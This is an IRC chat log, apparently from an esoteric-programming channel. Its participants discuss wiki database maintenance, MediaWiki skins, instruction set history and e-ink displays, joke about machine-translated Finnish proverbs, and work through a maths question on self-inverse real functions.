16:02:54 <fizzie> I used to have a horizontal strip 1-8 with Gnome's WM; I wonder if adding a monitor there would shuffle everything to the first half.
16:03:28 <kallisti> my guess is that it would take each even workspace and merge it with the previous odd one.
16:03:34 <kallisti> but I don't know how it works exactly.
16:04:54 <kallisti> it could be a special case for a horizontal length of 2.
16:06:50 <kallisti> I usually don't even utilize my second monitor for anything other than watching Youtube videos
16:07:10 <kallisti> or occasionally when I want to look at two windows at the same time.
16:07:48 <kallisti> I'd say the productivity boost from a second monitor is minimal at best
16:08:07 <kallisti> if anything it simply lets me not have to make a decision between watching movies/videos or getting work done.
16:08:18 <kallisti> which is a benefit in itself, I suppose.
16:09:11 <kallisti> but, anyway, that's enough of that. TIME TO DO MATH HOMEWORK
16:09:37 <kallisti> because in real life I have ARBITRARILY INDEFINITE WORKSPACES
16:10:12 <kallisti> and it doesn't shuffle my windows around when I plug in a second mon -- okay this analogy isn't working anymore.
16:29:17 <elliott> What tmie is it in AMEREREIRERIERICA?
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16:31:01 <kallisti> (EST is Real American Time(tm))
16:31:12 <elliott> It seems everybody is in EST. Confirm?
16:31:32 <Taneb> California is GMT-8
16:32:34 <elliott> Anyway, whatever North Carolina is in, or so I hear.
16:32:48 <kallisti> also New York, and Georgia (where I live)
16:32:52 <kallisti> the only important places in the US.
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16:34:29 <elliott> I meant, that's the timezone I care about.
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17:00:15 <Gregor> I do indeed happen to be in EST.
17:00:21 <elliott> mysql> delete from text where old_id in (1967,1968,1969,1970,1971,1972,8168,2165,8204,1926,1945,1950,1964,1965,8164);
17:00:21 <elliott> Query OK, 15 rows affected (0.05 sec)
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17:00:44 <elliott> Finally the zombie namespace is purged.
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17:13:29 <itidus20> i am about to say something which i know that to really learn the answers i would have to actually do some research
17:15:22 <itidus20> i wonder how they came up with the standard instruction set as we see it today.. MOV(LOAD and STORE i guess?), CMP, ADD, SUB, MUL, DIV, INT, RET etc
17:16:31 <itidus20> i suppose i would learn it was an evolutionary process
17:17:03 <zzo38> I wanted to implement questions with text inputs in Internet Quiz Engine, but am unsure exactly the way of doing so
17:17:39 <zzo38> itidus20: We could also experiment with alternative instruction sets, which is sometimes done such as in esolang wiki and so on
17:18:24 <itidus20> zzo38: as if a community could be formed around such an absurd idea as that
17:19:18 <elliott> itidus20: Take a look at the first few programmable computers' instruction sets.
17:19:25 <elliott> It's been a long, slow haul from there.
17:19:30 <elliott> And not all that much has changed.
17:19:30 <zzo38> O, you think it is like absurd idea...
17:19:38 <elliott> (Basic instruction set-wise.)
17:28:28 <kallisti> Babbage's Analytical Engine is largely the same basic premise.
17:28:50 <itidus20> with wiki's help i think i found the starting point (sort of)
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17:33:04 <itidus20> so pascal made an adding machine, which could subtract using 9's compliment
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17:33:36 <itidus20> "followed by the invention of the first four-operation calculator by Gottfried Leibniz."
17:34:58 <elliott> mysql> optimize table abuse_filter,abuse_filter_action,abuse_filter_history,abuse_filter_log,archive,category,categorylinks,change_tag,cu_changes,cu_log,external_user,externallinks,filearchive,hitcounter,image,imagelinks,interwiki,ipblocks,iwlinks,job,l10n_cache,langlinks,log_search,logging,module_deps,msg_resource,msg_resource_links,objectcache,oldimage,page,page_props,page_restrictions,pagelinks,protected_titles,querycache,querycache_info,query
17:34:58 <elliott> cachetwo,recentchanges,redirect,revision,searchindex,site_stats,tag_summary,templatelinks,text,trackbacks,transcache,updatelog,uploadstash,user,user_former_groups,user_groups,user_newtalk,user_properties,valid_tag,watchlist;
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17:36:15 <Gregor> elliott: Pff, who needs optimized tables.
17:36:54 <elliott> Man, how the hell are you meant to pick a buffer pool size for MySQL?
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17:37:11 <zzo38> Can't you tell it to optimize all of them in a single command? Or does it have no such things?
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17:37:29 <elliott> zzo38: Probably, but I was too lazy to figure out how.
17:37:37 <elliott> Gregor: You know things about MySQL, right???
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17:38:47 <itidus20> i had an idea once which i have not discarded about having a computer as an ingame object akin to a potion, a sword, a key or a shield
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17:39:06 <itidus20> i think this idea, while it may have been done before, is probably quite novel
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17:40:02 <itidus20> Now, upon reading this stuff, the ideas are coming in greater number.
17:41:02 <itidus20> You could upgrade the computer through the course of the game, starting with a Pascaline, then a Stepped Reckoner, gradually building up to an electronic laptop
17:41:43 <zzo38> OK make up some game like this.
17:41:46 <itidus20> In an rpg you could have a player class who could operate a computer
17:41:59 <Gregor> s/electronic/mechanical/
17:43:12 <elliott> I bet olsner knows about MySQL.
17:43:20 <itidus20> and.. when visiting an armory you could get software for use in battle.
17:44:36 <itidus20> I actually got this idea (unconcious plagiarism) from someone asking the naruto comic artist if he would ever put computers in the naruto world, and he said something like, well maybe 8bit
17:45:06 <itidus20> although i don't watch naruto, just heard in passing
17:46:39 <itidus20> Gregor: that sounds curiously steampunk
17:46:58 <Gregor> I was really just mocking your use of a moot adjective.
17:47:41 <Gregor> "Steampunk" really is just a poorly-named nostalgia for mechanical technology (having nothing more or less to do with steam than electronics does, typically).
17:48:07 <elliott> TODO, http://forum.linode.com/viewtopic.php?t=8387
17:48:22 <elliott> Oh no, someone said steampunk.
17:49:38 <Gregor> Have I mentioned that I now own an ENORMOUS steampunk-styled My Little Pony: Friendship is Magic canvas bag?
17:49:44 <Gregor> *elliott's brain explodes*
17:49:58 <elliott> It's ok. You will die before me.
17:52:07 <Gregor> http://www.welovefine.com/wp/wp-content/uploads/2012/01/new_bags.jpg // isn't it glorious?
17:53:39 <itidus20> they're wearing bronze framed goggles
17:53:44 <olsner> elliott: indeed I know everything
17:53:58 <olsner> mysql is an SQL database
17:54:48 <Gregor> olsner: No, it's a relational database for which the access language is based on SQL.
17:56:17 <elliott> MySQL does not meet the relational criteria.
17:56:40 <elliott> It's a database with some aspects of the relational model for which the access language is based on SQL (which is not relational either).
17:56:53 <elliott> It also wants SO MUCH RAM HOLY SHIT
17:57:48 <elliott> You know, MediaWiki's Bugzilla is the only tolerable Bugzilla I have *ever* seen.
17:58:26 <Gregor> I thought "tolerable" and "Bugzilla" were incompatible.
17:58:36 <elliott> Gregor: https://bugzilla.wikimedia.org/show_bug.cgi?id=6200
17:58:42 <elliott> Gregor: The trick is that it looks absolutely nothing like Bugzilla whatsoever.
17:59:03 <Gregor> That's kinda funny given that it's associated with a wiki that nobody can figure out how to configure to not look like Wikipedia.
17:59:13 <elliott> Even the search page is carefully styled to look like MW. It's like someone went in to try and desperately purge all traces of Bugzillatude from it.
17:59:51 <elliott> @faq Can Haskell produce a MediaWiki website that doesn't look like Wikipedia?
17:59:51 <lambdabot> The answer is: Yes! Haskell can do that.
17:59:53 <elliott> http://www.haskell.org/haskellwiki/Haskell
18:00:16 <elliott> (HaskellWiki is actually just ridiculously well-formatted in general: http://www.haskell.org/haskellwiki/Typeclassopedia)
18:01:02 <itidus20> the biggest limit in all these things is the display itself
18:01:30 <Gregor> elliott: Wow, is this actually MW?
18:02:10 <Gregor> elliott: I can't even find any evidence of MWness ... I'm impressed.
18:02:18 <elliott> http://www.haskell.org/haskellwiki/index.php?title=Haskell&action=history gives it away
18:02:26 <itidus20> it would be great if we could all have 24" e-ink monitors for reading
18:02:37 <elliott> But yeah, it's literally *the* single non-terrible third-party MW design I've ever seen.
18:03:15 <elliott> http://www.haskell.org/haskellwiki/Special:Version ;; this also gives it away :P
18:03:41 <elliott> Hey, I should install SyntaxHighlight on Esolang.
18:04:02 <Gregor> Only if it supports Brainfuck.
18:04:07 <itidus20> infact i think it would be a good investment if a nations government subsidized the development and distribution of gigantic e-ink monitors which can be connected via vga port
18:05:09 <elliott> (Also: You realise governments fund research, right?)
18:05:39 <itidus20> i haven't actually held an e-ink device in person but from what i read they are just so cool
18:07:23 <itidus20> maybe theres already existing e-ink devices and no need for a giant one
18:08:42 <itidus20> but because they're so cool.. because you can actually read books on them.. there seems to be efforts to keep them away from generalized video data
18:09:36 <itidus20> ....... im just gonna shut up... maybe ill be able to say something true when i return
18:10:46 <elliott> itidus20: e-ink has a terrible refresh rate.
18:10:54 <elliott> Many many times lower than what even simple animation requires.
18:11:05 <elliott> A mouse pointer on e-ink would be awful.
18:11:09 <itidus20> elliott: yeah.. its like the ultimate tradeoff against a video monitor
18:11:11 <elliott> It is also terrible at colour.
18:11:19 <elliott> Look at Pixel Qi displays.
18:11:31 <elliott> Those can do backlight-less e-inky stuff and normal display stuff.
18:12:25 <elliott> Gregor: I bet you know aaaall about writing MediaWiki extensions.
18:12:50 <itidus20> theres actually nothing wrong with the esolangs.org look though
18:13:19 <elliott> I'm not looking to change the look. Although the default skin will become Vector thanks to the MW upgrade.
18:13:23 <elliott> (Vector is the skin Wikipedia uses.)
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18:13:49 <itidus20> ah yes now i remember why i brought up that topic
18:13:59 <elliott> compare: http://esoteric.voxelperfect.net/wiki/Special:Version http://en.wikipedia.org/wiki/Special:Version
18:14:09 <itidus20> theres only so much you can do on the software side of things before you need new hardware to improve the appearance of a website
18:18:16 <Gregor> elliott: Having written zero of them, yes.
18:19:47 -!- elliott has quit (Remote host closed the connection).
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18:35:53 <Gregor> OK, why am I disconnecting and reconnecting every five minuets X_X
18:36:27 <Gregor> Each minuet taking about five minutes, I'm reconnecting every 25 minutes or so.
18:36:30 <elliott> I wouldn't worry about it. Minuets can last quite a while.
18:42:01 <zzo38> Change the default skin to whatever you want it to be.
18:42:32 <monqy> what is the best default skin
18:42:36 <zzo38> I prefer Nostalgia skin but I could change that in the user preferences; you said it already has that.
18:43:46 <itidus20> the secret to a good wiki skin is that you forget the wiki has a skin at all
18:45:10 <zzo38> Yes, you could install SyntaxHighlight. Possibly even a new namespace to define custom syntax highlighters?
18:46:04 <itidus20> is syntax highlighting helpful?
18:46:24 <zzo38> Would there be some mode which makes it replace the > on the left of a literate Haskell code with a vertical border running on there while keeping it > at front of each line in the source of the page?
18:46:31 <itidus20> one may notice that textbooks tend to shirk syntax highlighting
18:46:46 <itidus20> you could put it down to printing costs but i doubt it's that
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18:47:06 <itidus20> i'm just airing bits of wisdom :D
18:47:27 <zzo38> Programs such as WEB do prettyprinting of Pascal codes even in books without colors
18:48:48 <elliott> hi calamari! your technical support bill will be $200
18:49:29 <itidus20> it may be possible that syntax highlighting is tempting when in an environment with 100s of syntaxes floating around
18:50:04 <itidus20> or it may be a way to make up for the fact that a monitor is a terrible way to read
18:51:53 <itidus20> which is a good point in it's defence
18:51:58 <zzo38> But I suppose you don't really need syntax highlighting if you don't want it.
18:52:38 <itidus20> im just wondering whether it actually helps
18:53:32 <zzo38> However, you should install a addon where you have something like <program filename="..."> ... </program> where it is raw codes like <pre> does in MediaWiki and then has a download link for that code; it would help with some of the stuff in esolang wiki. But there should be another thing too, download entire source such as in a literate Haskell program.
18:53:55 <itidus20> i guess what it helps with is searching
18:54:07 <zzo38> And then install <math> as well as my own <tex>
18:54:17 <itidus20> like uh... searching the screen for a particular type of token
18:54:33 <itidus20> then you can invoke your ability to focus on an individual colour
18:56:54 <itidus20> grudgingly accepts it is helpful
18:58:43 <itidus20> someone on the wiki talk page mentioned "Syntax highlighting for English/Natural language"
19:02:15 <calamari> elliott: cool I just passed Go, so I can pay you .. here are $200 monopoly^Wfederal reserve notes.
19:03:54 <calamari> elliott: did I cause you some wiki-headaches?
19:04:02 <elliott> yes, the namespace stuff :P
19:05:11 <calamari> I thought you weren't going to copy that
19:05:32 <elliott> I didn't, but the page entries still got in
19:05:45 <elliott> so I had to readd the namespace, delete them, remove the namespace, and obliterate the changes from the DB
19:47:07 -!- oerjan has joined.
19:48:21 <oerjan> @tell elliott I may have tried before, you know.
19:55:40 <oerjan> <Taneb> I did not, however, Norwegian it <-- what, no brunost? that's unacceptable!
20:00:04 <elliott> oerjan: but i had ideas :'(
20:00:04 <lambdabot> elliott: You have 1 new message. '/msg lambdabot @messages' to read it.
20:00:14 -!- PiRSquared17 has changed nick to Quenching.
20:01:50 <elliott> oerjan: do you want to hear them :'(
20:02:35 <oerjan> you seem to have something in your eye.
20:05:01 -!- Quenching has changed nick to QueenOfFrancitiy.
20:05:44 -!- QueenOfFrancitiy has changed nick to PiRSquared17.
20:08:43 <oerjan> elliott hardly crying, check
20:09:30 <fizzie> oerjan: Behold, a beam is in thine own eye.
20:10:10 <fizzie> The Finnish version makes that somehow sound hii-larious.
20:10:55 <oerjan> no wonder mine eyes have been itching
20:11:05 <fizzie> I think they use the word "hirsi" there, it evokes this image of a three-metre ~10x10cm-profile hulking piece of wood.
20:11:17 <fizzie> Though so does a "beam".
20:11:28 <fizzie> I don't know, to me it just sounds so much more concrete in Finnish.
20:11:30 <oerjan> as does norwegian "bjelke"
20:12:23 <fizzie> :▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀(
20:12:36 <elliott> (this is what finnish people actually look like)
20:12:50 <oerjan> elliott: well it's a mote point anyhow
20:13:57 -!- PiRSquared17 has left.
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20:14:13 <oerjan> wait, he actually refused?
20:14:40 <elliott> he just hasn't responded yet
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20:15:20 <monqy> who will update the dnson't
20:15:56 <fizzie> "Tikulla silmään sitä joka vanhoja muistaa", a Finnish proverb. (It's something like "if someone's reminiscing old things, poke eir eye with a stick". I'm not sure if other languages have a version of this?)
20:16:16 <fizzie> (It's used in a "let bygones be bygones" like way.)
20:16:32 -!- Chef____ has joined.
20:16:35 <oerjan> no, only the finnish are that violent.
20:17:42 <elliott> if someone's reminiscing old things, poke eir eye with a stick
20:18:41 <fizzie> Perhaps "reminiscing" is not the right word. It's used when you dislike the fact that someone bought up some old thing.
20:18:55 <fizzie> http://fi.wikiquote.org/wiki/Suomalaisia_sananlaskuja -- wow, that's one long list.
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20:19:59 <oerjan> the Chef appears to be steadily growing.
20:20:25 <fizzie> Have you plotted the length over time yet? If it's exponential, there may be a reason to worry.
20:20:37 <elliott> `Awake the morning, evening snooze, it is a way to keep the house.
20:20:42 <oerjan> nope, you're the master plotter here
20:20:45 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: Awake: not found
20:20:55 <elliott> Eve is a celebration of legs.
20:21:00 <elliott> Ella is a greedy piece of shit an end.
20:21:16 <elliott> Early bird catches the worm, but only the second mouse not cheese.
20:21:24 <elliott> Each time a branch participants, as a Christmas tree hunter.
20:21:41 <elliott> A shy man should not be a beautiful wife.
20:22:10 <elliott> Not bad way even if it is a bit kivuttaa.
20:22:11 <elliott> Einari nari, farted, and laid.
20:22:15 <oerjan> i suppose this would be funnier if i knew the originals for more than one of them
20:22:29 <elliott> Fish do not get a man if the man fish.
20:22:53 <fizzie> elliott: Wow, that "Eve is a celebration of legs". There's "jaloin", the superlative of "jalo"; "most noble", basically. But it's also some plural inflected form of "jalka", a leg.
20:23:07 <fizzie> oerjan: It is, I assure you.
20:23:27 <elliott> fizzie: Is "greedy piece of shit" an accurate translation?
20:25:05 <elliott> Not oo child itkemätöntä katkeematonta and fabric.
20:25:05 <elliott> Doctrine does not crash into a ditch.
20:25:05 <elliott> Not a beard-growing evil, turpajouhet nonsense.
20:25:15 <elliott> That's a lot of lying, which is half of lying.
20:25:17 <fizzie> elliott: It's not even about any "greedy Ella". The word is "ahneella", i.e. adessive case of "ahne", "of [in this case] the greedy". I can't fathom how it has split that to "ahne ella".
20:25:40 <fizzie> elliott: Anyway, it's something like "The greedy ones have a shitty fate".
20:25:48 <elliott> At least it got the curse right. :p
20:25:57 * elliott isn't sure hew ants to know what the farted and laid one is.
20:27:21 <fizzie> elliott: I don't know what "nari" means there, but other than that it's pretty accurate like that.
20:27:52 <fizzie> I mean, I don't know what it means in the original.
20:28:02 <elliott> Do not u bitch u get into an argument and not a piece of wood.
20:28:19 <elliott> ("Ei yks akka riitele eikä yks puu pala.")
20:28:56 <fizzie> It literally says "Einari nari, pieri ja pani". I guess it's from the onomatopoeic "nari-nari", for which I don't know the exact English. It's probably related to "snare", though.
20:29:08 <monqy> Do not Lick before they are hatched.
20:29:48 <oerjan> Selg ikke skinnet før bjørnen er skutt.
20:30:20 <fizzie> The "bitch" one is "a single woman/bitch won't fight, and a single [block of] wood won't burn". The 'akka' word is not quite a neutral "woman", but not quite the English "bitch" either.
20:30:39 <elliott> You Finns are... lovely people.
20:30:41 <fizzie> Well, at least more yes.
20:31:04 <monqy> Attic'd bread, but the kids ate the stairs.
20:31:13 <elliott> continued: ... and the receiver of sulfur is training.
20:31:28 <monqy> The last word dude man.
20:31:47 <elliott> The Lord's body, even if the clothes are bad.
20:32:14 <oerjan> the hills are quiet. too quiet.
20:32:21 <fizzie> elliott: That's "practice makes a master ... and the master does training too", approximately.
20:32:28 <monqy> Again, said the Teletubby.
20:32:36 <elliott> continued ... evil even further.
20:32:46 <monqy> Sinks in the carbon monoxide in the head.
20:32:53 <fizzie> It has again split [mestari] [-kin] inappropriately as [mesta] [rikin] or something, since 'rikki' is sulfur.
20:32:57 <elliott> fizzie: you... must explain monqy's
20:33:21 <fizzie> elliott: Which one of them?
20:33:49 <fizzie> elliott: The "again, said the Teletubby" is just "again, said the Teletubby".
20:33:56 <fizzie> They do say "again" a lot.
20:34:06 <monqy> is that a finnish proverb
20:34:22 <elliott> ancient finnish teletubbies
20:34:47 <oerjan> "Det er bare en overgang", sa reven, han ble flådd.
20:34:58 <fizzie> elliott: I'm having some trouble locating the originals to the rest.
20:35:35 <elliott> fizzie: Just translate it in Chrome
20:35:42 <elliott> Hover over to get the Finlandish
20:36:29 <fizzie> "Sinks in the carbon monoxide in the head" -> "uppoaa kuin häkä päähän": that's... well, "[something] sinks in, just like carbon monoxide to the head".
20:37:03 <elliott> I'm a bit puzzled that fizzie is unable to read sentences in his native language.
20:37:23 <monqy> There, speak of the devil, there's stomach where the wrestling is.
20:37:54 <fizzie> "The last word dude man" is "the last word from a manly guy" or some-such.
20:38:47 <fizzie> "Attic'd bread, but the kids ate the stairs" is just "there would be bread in the attic, but [we can't get there because] the kids ate the stairs". The part in [] is sort of implied.
20:39:43 <fizzie> And "Do not Lick before they are hatched" is "do not lick before it falls off"; it's a bit like "do not count your chickens before they're hatched", I suppose GT has just gotten the second half from there.
20:40:06 <fizzie> Except it doesn't really make sense.
20:40:49 <fizzie> Since (in case of e.g. ice cream) you'd be better off getting in a lick or two if it's going to fall off anyway.
20:40:49 <monqy> Rotates as a fart leather pants.
20:40:50 <monqy> Rotates as a fart in the Sahara.
20:41:18 <fizzie> Those are pretty accurate. Except it's not really "rotates", it's more like "runs around".
20:41:24 <Deewiant> fizzie: "it drops" rather than "it falls off": to drop :: tipahtaa : drop :: tippa.
20:42:34 <elliott> fizzie: Do Finns know what a proverb is?
20:42:37 <elliott> It's not a sentence fragment.
20:43:08 <fizzie> 1. (3) proverb, adage, saw, byword -- (a condensed but memorable saying embodying some important fact of experience that is taken as true by many people)
20:43:26 <monqy> Squirrel is correct that the cone is covered with ice
20:43:53 <monqy> does this embody some important fact of experience for finns
20:44:03 <elliott> finnish squirrels are often correct
20:44:41 <fizzie> monqy: "It serves the squirrel right that the cone's covered with ice."
20:45:18 <monqy> Well, now is a dick on his forehead
20:45:35 <fizzie> Deewiant: Also I think it's "A : B :: C : D" and not "A :: B : C :: D".
20:45:53 <Deewiant> fizzie: Meh, it's just syntax.
20:46:20 <fizzie> monqy: That's close enough. Note that there's an explanation below.
20:46:35 <oerjan> Når skaren bærer en mann ved Sankthans, blir det en sen vår.
20:46:36 <monqy> the explanation doesn't make sense either
20:46:54 <fizzie> monqy: Well, you can't have everything.
20:47:00 <elliott> does finnish culture make sense to finns
20:47:05 <fizzie> (The explanation is "At one job or project consists of hard to solve or insurmountable problems, the person responsible for the eyebrows go crispy stage".)
20:47:16 <elliott> i honestly find your cavalier acceptance of this nonsense incomprehensible
20:47:35 <oerjan> elliott: well as the italians say, traditore traduttore
20:47:58 <elliott> ("Until we have sex robots, we'll just have to settle for pasta.")
20:48:07 <elliott> (Italian is a concise language.)
20:48:44 <oerjan> sorry, *traduttore, traditore
20:49:17 <fizzie> Is that then "We'll just have to settle for pasta, until we have sex robots"?
20:49:30 <elliott> ("Unlike my alien grandson, I have plenty feathers for the mathematicians to ruffle.")
20:49:46 <elliott> Says the speaker of Finnish.
20:50:43 <oerjan> fizzie: i can assure you that elliott's translations are entirely appropriate to the original meaning.
20:51:11 <fizzie> Quite a lot of these "proverbs" I hadn't heard before, and I get accused by friends of spouting all kinds of weirdo sayings all the time.
20:51:31 <monqy> Granny fucked in the snow, and mother-in-law.
20:51:36 <fizzie> On the other hand, I think my things aren't on the list.
20:51:40 <elliott> fizzie: Well, you know what they say. Never trust a dog with your telephone.
20:51:42 <oerjan> (i'm only slightly joking)
20:52:59 <fizzie> monqy: That's actually just "Granny in the snow, and mother-in-law in pee". Except the "in pee" bit may also mean "in trouble".
20:53:00 <oerjan> En klokke i hånden er bedre enn tiur på taket
20:53:10 <fizzie> There's no "fucked" anywhere in there.
20:53:43 <fizzie> Well, except I guess "I'm fucked" can also mean "I'm in trouble".
20:53:48 <fizzie> So it sort-of makes sense that way.
20:55:03 <elliott> As for ending, kaksikymmentäneljätuntiaikakausitämänhetkinen ever.
20:56:02 <fizzie> I never know what you tmean at any t.
20:56:12 <elliott> what does that proverb mean
20:57:36 <fizzie> The kaksikymmentäneljätuntiaikakausitämänhetkinen one? I suppose it's just something indescribable. Maybe Deewiant can put it in words.
21:00:48 <fizzie> I get the feeling that I just used a cop-out.
21:00:52 <Deewiant> ISTR you coming up with that compound with oklopol's help.
21:01:17 <fizzie> Yes, but I didn't want to say anything that boring.
21:01:23 <fizzie> I mean, it was referred to today and all.
21:02:14 <elliott> Deewiant: I'm glad you recognise it as a compound
21:02:17 <elliott> As opposed to, say, a jumble
21:02:35 <fizzie> Twentyfourhourtimeperiodcurrent.
21:02:41 <elliott> I should have named the server kaksikymmentäneljätuntiaikakausitämänhetkinen.
21:02:51 <elliott> fizzie: Yes. "Today", in other words!
21:07:52 <Gregor> I've updated my hats list! WHOAAAAH
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21:11:06 -!- oerjan_ has changed nick to oerjan.
21:11:12 <elliott> fizzie: did you hear, btw, oerjan_ says you have a moral imperative to op me as the new wiki admin
21:11:18 <elliott> oerjan will now deny this but he is not oerjan_
21:11:35 <oerjan> oerjan_ is of no consequence whatsoever.
21:12:25 <elliott> you will find yourself able to use chanserv op actions
21:12:28 <elliott> therefore he is an authority
21:13:01 -!- oerjan has changed nick to eviloverlord.
21:13:23 -!- ChanServ has set channel mode: +o eviloverlord.
21:13:30 <elliott> thanks, that's step 1 of 2
21:13:41 -!- eviloverlord has set channel mode: -o eviloverlord.
21:13:48 -!- eviloverlord has changed nick to oerjan.
21:13:54 <elliott> you're really bad at typing
21:15:05 -!- oerjan has quit (Quit: Lost terminal).
21:15:15 <elliott> fizzie: you don't want that, do you?
21:18:17 <fizzie> I... think I disbelief.
21:18:53 <elliott> fizzie: JUST LIKE OERJAN DID, NO?
21:20:52 <elliott> I don't know, I SINGLE-HANDEDLY (well... double-handedly) solve the spam problem, upgrade MW, *and* grace you with badly-translated Finnish pronouns.
21:20:57 <elliott> WHAT MORE COULD YOU POSSIBLY WANT FROM ME
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21:23:18 <fizzie> Or an attempt, anyway.
21:23:31 <Taneb> Kill me, it will simplify the situation
21:23:39 <Taneb> Remember the lessons from Speed!
21:23:44 <Taneb> Eliminate the hostage!
21:24:01 <elliott> fizzie: Will you feel scared if I kill Taneb as I did oerjan?
21:24:06 <elliott> Also, it's, like, totally not even grabbing.
21:24:07 <fizzie> Only lesson from Speed I remember is that buses can jump incredibly well even without any ramps.
21:24:12 <elliott> The hierarchy goes like this:
21:24:18 <elliott> Incredibly benevolent active spam-fighting wiki owner
21:24:58 <Taneb> Where do Phantom__Hoover's targets fit on here?
21:25:02 <elliott> So really I've just ascended and the caching engine in the propagate-downwards stuff is clogged up a bit with confusion.
21:25:05 -!- quintopi1 has changed nick to quintopia.
21:25:08 <elliott> Taneb: They're a few miles to the right.
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21:25:21 <elliott> fizzie: Am I being convincing yet?
21:25:35 <monqy> am i everyone else
21:25:38 <Taneb> I'm an op on #esoteric-chess-variants
21:25:43 <Taneb> Does this count for anything?
21:25:59 <elliott> That actually counts for less than nothing.
21:26:21 <Taneb> But it keeps some irrelevant topics out of the channel
21:26:26 -!- azaq23 has joined.
21:26:54 <Taneb> Which is surely a good thing
21:27:03 <elliott> @tell oerjan What if I modified the wiki so that it was impossible to add entries to the language list, deadfish implementations, hello world implementations, etc. lists that were not in correct alphabetical order?
21:27:06 <Taneb> It also means kallisti says slightly less htings
21:27:22 <elliott> @tell oerjan Surely any reasonable person who is you would find this convincing.
21:28:11 -!- elliott has changed nick to elliott_.
21:32:53 <quintopia> are there any self-inverse functions, continuous almost everywhere, with the entire reals as domain, besides f(x)=+-x and f(0)=0,f(x!=0)=+-k/x?
21:34:53 -!- oerjan has joined.
21:35:29 <oerjan> Gregor: why didn't my losing connection show up in the logs?
21:35:30 <lambdabot> oerjan: You have 3 new messages. '/msg lambdabot @messages' to read them.
21:35:35 <lambdabot> elliott said 8m 32s ago: What if I modified the wiki so that it was impossible to add entries to the language list, deadfish implementations, hello world implementations, etc. lists that were not in
21:35:36 <lambdabot> elliott asked 8m 26s ago: What *then*?
21:35:36 <lambdabot> elliott said 8m 12s ago: Surely any reasonable person who is you would find this convincing.
21:36:00 <elliott_> oerjan: You say that, but then I'll do it.
21:36:29 <oerjan> although i should point out the order of the language list is not entirely charset based.
21:36:33 <Gregor> oerjan: Excellent question >_>
21:37:01 <elliott_> oerjan: hmm, how is it ordered?
21:37:37 <oerjan> elliott_: sometimes by 1337 = leet
21:38:05 <oerjan> and the genuinely non-alphabetic ones are first, of course
21:38:30 <elliott_> oerjan: Well 1337 as leet is stupid.
21:38:33 <quintopia> elliott_: will you tell me tomorrow what they are?
21:38:43 <elliott_> quintopia: No, the proof is classical.
21:39:18 <Sgeo> Whee, my school's Linux system has X forwarding
21:39:22 <Sgeo> What fun things can I play with?
21:39:45 <elliott_> quintopia: The existence proof of the proof is also classical.
21:39:56 <oerjan> Gregor: also, my nick change from eviloverlord back to oerjan was not shown, although i might of course have lost some connection by then...
21:40:09 <oerjan> although i hadn't noticed myself
21:40:16 <quintopia> elliott_: i prefer the romantic period anyway.
21:40:23 <Sgeo> They have Firefox installed on her
21:40:46 <Sgeo> It's taking a while
21:41:23 <Gregor> oerjan: It's the fact that that nick change was lost that caused the quit to be lost.
21:41:28 <Gregor> It somehow broke in its nick tracking.
21:41:46 <elliott_> oerjan: What if I just implement that sortable-and-filterable-by-computational-class-and-implementation-status-and-so-on automatically-updated language list, and then categorise every uncategorised page on the wiki?
21:43:26 <elliott_> Come on, that's like Christmas.
21:43:35 <oerjan> elliott_: i suppose that would be nice, although i've sometimes been thinking the language list should allow short descriptions...
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21:44:01 <elliott_> oerjan: It could quote the first sentence as the second line of each "row".
21:44:53 <elliott_> oerjan: How is that "oh well" that's like the bestest thing ever.
21:46:04 <oerjan> i have a limited capability for awe, sorry
21:46:49 <oerjan> i'm pretty sure it's been deteriorating lately.
21:47:06 <elliott_> It would also make you lutefisk.
21:49:15 <elliott_> ARE YOU EVEN A NORWEGIAN HOW CAN YOU NOT REACT TO THAT
21:49:55 <oerjan> trying to force me to give opinions decreases the probability of succeeding by at least 90%.
21:52:18 <elliott_> before esolangs.org even points properly :(
22:13:36 <elliott_> http://esoteric.voxelperfect.net/wiki/John_Horton_Conway grrr this should use an interwiki
22:15:04 <oerjan> elliott_: if you mean [[Wikipedia:*]] links, i dislike the fact they look like local links rather than external ones
22:15:24 <elliott_> and i don't care if you don't like it :P especially since they _do_ display differently
22:16:24 <oerjan> i was pretty sure they didn't last i checked.
22:16:48 <oerjan> maybe in the latest mw versions...
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22:19:28 <oerjan> argh the new pages list cannot give more than the first 7 new pages :(
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22:22:33 <oerjan> @tell i just looked at the [[wikipedia:complex number]] you added to Excela and it _does_ show identical to a local link. i hope that has changed in recent versions then.
22:22:42 <oerjan> @tell elliott i just looked at the [[wikipedia:complex number]] you added to Excela and it _does_ show identical to a local link. i hope that has changed in recent versions then.
22:22:54 <ais523> oerjan: it's a slightly different shade of blue, IIRC
22:25:02 <oerjan> rather insignificantly so. also it doesn't change color when visited, which is blasphemy.
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22:36:11 <fizzie> There's some sort of a "roses are red" poem waiting in the default blue/purple/red link colours.
22:38:26 <Gregor> Deadlinks are red, new content is blue, all my links are purple; I've read it all thru.
22:42:52 <fizzie> quintopia: What about just something like f(x) = {x+1 if floor(x) is even; x-1 otherwise} and its obvious relatives?
22:44:23 <fizzie> oerjan: E was looking for involutions, I think. (I didn't really read much of the surroundings.)
22:50:31 <oerjan> hm basically you can divide R into infinitely many intervals and treat all interiors as separate copies of R
22:52:06 <oerjan> (for other obvious relatives)
22:55:46 <fizzie> A sort-of-like-that relative would be, I think, f(x) = { x, if x is integer; floor(x)+1-(x-floor(x)) otherwise }. (I assume the one that'd just have the "otherwise" case and try to "flip" the whole [k,k+1)-for-integer-k intervals might hit some problems.)
22:58:41 <oerjan> oh and something more obviously global: if g is any homeomorphism then g . f . g^{-1} is another function of this type
22:59:21 <ais523> anyone here like reading court transcripts where the judge is pointing out how absurd a lawsuit is? http://www.groklaw.net/pdf3/OraGoogle-719-5.pdf
22:59:58 <ais523> it's from Apple v. Motorola, where Apple are talking about how they allege that Motorola infringed a patent for detecting whether the user is trying to swipe vertically on a touchscreen or not
23:00:20 <ais523> and the judge is trying to point out that it doesn't really make sense to claim damages from that as the infringement isn't likely to make differences to sales either way
23:03:38 <oerjan> that method btw gives a large class of functions that are continuous everywhere, not just almost
23:05:04 <oerjan> hm well you have to start with something like f(x) = -x
23:10:10 <fizzie> I would be interested in an interesting example. (Which is almost a tautology, I suppose.)
23:12:44 <oerjan> g(x) = x^3, er no that just gives -x back...
